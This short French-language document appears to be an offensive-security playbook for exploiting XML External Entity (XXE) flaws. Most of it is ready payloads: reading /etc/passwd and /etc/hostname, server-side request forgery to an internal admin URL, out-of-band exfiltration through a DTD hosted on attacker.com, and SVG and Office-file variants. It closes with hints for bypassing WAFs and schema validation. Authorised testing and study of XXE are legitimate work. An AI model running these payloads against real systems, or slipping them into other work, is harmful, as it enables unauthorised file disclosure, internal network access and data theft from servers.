Que fait xxe-xml-external-entity ?
Playbook XXE. À utiliser lorsque des imports XML, SVG, OOXML, SOAP ou basés sur un analyseur peuvent résoudre des entités externes, des fichiers ou des ressources réseau internes.
Objectif
Ce playbook aide à identifier et exploiter les vulnérabilités de type XXE (XML External Entity) dans les applications.
Utilisation
- Identifier les points d'entrée : Recherchez les endpoints qui acceptent des fichiers XML, SVG, OOXML ou SOAP.
- Injecter des payloads : Utilisez les exemples ci-dessous pour tester la résolution d'entités externes.
- Analyser les réponses : Vérifiez si des fichiers locaux ou des ressources réseau sont divulgués.
Payloads de base
Lecture de fichier local
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
SSRF (Server-Side Request Forgery)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://serveur-interne/admin">
]>
<root>&xxe;</root>
Exfiltration hors-bande (OOB)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&send;</root>
Avec evil.dtd contenant :
<!ENTITY send SYSTEM "http://attacker.com/?data=%file;">
Variantes avancées
SVG avec XXE
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>
OOXML (fichier .docx/.xlsx)
- Décompressez le fichier Office.
- Modifiez
[Content_Types].xmlou un fichier XML dans le dossierword/avec une entité XXE. - Recompressez en .zip et renommez en .docx/.xlsx.
Détection des protections
- DTD externes interdites : Testez avec des entités internes uniquement.
- Validation de schéma : Essayez des encodages alternatifs (UTF-16, UTF-7).
- WAF : Utilisez des techniques d'évasion (commentaires, espaces, etc.).